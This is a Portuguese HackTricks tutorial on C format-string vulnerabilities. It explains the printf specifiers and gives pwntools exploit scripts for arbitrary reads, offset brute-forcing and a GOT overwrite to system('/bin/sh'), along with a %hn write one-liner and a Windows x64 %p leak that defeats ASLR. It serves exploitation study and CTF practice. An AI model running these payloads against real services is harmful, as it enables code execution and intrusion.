Format Strings

Reading time: 11 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Em C, a função printf pode ser usada para imprimir uma string. O primeiro parâmetro que essa função espera é o texto bruto com os formatadores. Os parâmetros seguintes esperados são os valores para substituir os formatadores no texto bruto.

Outras funções vulneráveis são sprintf() e fprintf().

A vulnerabilidade aparece quando um texto controlado pelo atacante é usado como o primeiro argumento dessa função. O atacante poderá criar uma entrada especial abusando da string de formato do printf para ler e escrever qualquer dado em qualquer endereço (legível/escritável). Dessa forma, é possível executar código arbitrário.

Formatadores:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Exemplos:

  • Exemplo vulnerável:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Uso normal:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Com Argumentos Ausentes:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf vulnerável:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Acessando Ponteiros

O formato %<n>$x, onde n é um número, permite indicar ao printf que selecione o n-ésimo parâmetro (da stack). Então, se você quiser ler o 4º parâmetro da stack usando printf você poderia fazer:

c
printf("%x %x %x %x")

e você leria do primeiro ao quarto parâmetro.

Ou você poderia fazer:

c
printf("%4$x")

e ler diretamente o quarto.

Perceba que o atacante controla o printf parâmetro, o que basicamente significa que sua entrada estará na stack quando printf for chamado, o que significa que ele poderia escrever endereços de memória específicos na stack.

caution

Um atacante que controle essa entrada será capaz de adicionar endereços arbitrários na stack e fazer com que printf os acesse. Na próxima seção será explicado como usar esse comportamento.

Arbitrary Read

É possível usar o formatter %n$s para fazer o printf obter o endereço situado na posição n, segui-lo e imprimi-lo como se fosse uma string (imprime até encontrar um 0x00). Assim, se o endereço base do binário for 0x8048000, e soubermos que a entrada do usuário começa na 4ª posição na stack, é possível imprimir o início do binário com:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Observe que você não pode colocar o endereço 0x8048000 no início da entrada porque a string será cat em 0x00 no final desse endereço.

Encontrar offset

Para encontrar o offset para a sua entrada você pode enviar 4 ou 8 bytes (0x41414141) seguidos por %1$x e aumentar o valor até recuperar os A's.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Quão útil

Arbitrary reads podem ser úteis para:

  • Dump the binary da memória
  • Access specific parts of memory where sensitive info is stored (como canaries, encryption keys ou custom passwords como neste CTF challenge)

Arbitrary Write

O formatter %<num>$n escreve o número de bytes escritos no endereço indicado no param na stack. Se um atacante puder escrever quantos caracteres quiser com printf, ele conseguirá fazer com que %<num>$n escreva um número arbitrário em um endereço arbitrário.

Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s ao input; em vez disso é possível usar o formatter %.<num-write>%<num>$n para escrever o número <num-write> no endereço apontado pela posição num.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

No entanto, note que geralmente, para escrever um endereço como 0x08049724 (que é um número ENORME para escrever de uma vez), usa-se $hn em vez de $n. Isso permite escrever apenas 2 Bytes. Portanto essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra para os 2B mais baixos.

Portanto, essa vulnerabilidade permite escrever qualquer coisa em qualquer endereço (arbitrary write).

Neste exemplo, o objetivo será sobrescrever o endereço de uma função na tabela GOT que será chamada posteriormente. Embora isso possa abusar de outras técnicas de arbitrary write para exec:

Write What Where 2 Exec

Vamos sobrescrever uma função que recebe seus argumentos do usuário e apontá-la para a função system.
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: você primeiro escreve 2Bytes do endereço e depois os outros 2. Para isso é usado $hn.

  • HOB refere-se aos 2 higher bytes of the address
  • LOB refere-se aos 2 lower bytes of the address

Então, devido a como format string funciona, você precisa escrever primeiro o menor de [HOB, LOB] e depois o outro.

Se HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Se HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Template

Você pode encontrar um modelo para preparar um exploit para esse tipo de vulnerabilidade em:

Format Strings Template

Ou este exemplo básico de aqui:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

É possível abusar das ações de escrita de uma format string vulnerability para escrever em endereços da stack e explorar um tipo de vulnerabilidade buffer overflow.

Windows x64: Format-string leak to bypass ASLR (no varargs)

On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. Em muitos locais de chamada com bug, a string controlada pelo atacante é usada como argumento de formato, mas nenhum argumento variádico é fornecido, por exemplo:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Como nenhum varargs é passado, qualquer conversão como "%p", "%x", "%s" fará com que o CRT leia o próximo argumento variádico do registrador apropriado. Com a Microsoft x64 calling convention a primeira leitura desse tipo para "%p" vem de R9. Qualquer valor transitório em R9 no ponto de chamada será impresso. Na prática isso frequentemente causa um leak de um ponteiro estável no módulo (por ex., um ponteiro para um objeto local/global previamente colocado em R9 pelo código ao redor ou um valor preservado (callee-saved)), que pode ser usado para recuperar a base do módulo e derrotar o ASLR.

Practical workflow:

  • Injete um formato inofensivo como "%p " logo no início da string controlada pelo atacante para que a primeira conversão seja executada antes de qualquer filtragem.
  • Capture o ponteiro leakado, identifique o offset estático desse objeto dentro do módulo (por meio de análise reversa com símbolos ou uma cópia local) e recupere a base da imagem como leak - known_offset.
  • Reutilize essa base para calcular endereços absolutos de ROP gadgets e entradas IAT remotamente.

Exemplo (python abreviado):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Notas:

  • O offset exato a subtrair é encontrado uma vez durante o reversing local e depois reutilizado (mesmo binary/version).
  • Se "%p" não imprimir um ponteiro válido na primeira tentativa, experimente outros especificadores ("%llx", "%s") ou múltiplas conversões ("%p %p %p") para inspecionar outros argument registers/stack.
  • Este padrão é específico da Windows x64 calling convention e de implementações da printf-family que buscam varargs inexistentes em registers quando a format string os solicita.

Esta técnica é extremamente útil para bootstrap ROP em serviços Windows compilados com ASLR e sem primitivas óbvias de memory disclosure.

Outros Exemplos & Referências

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks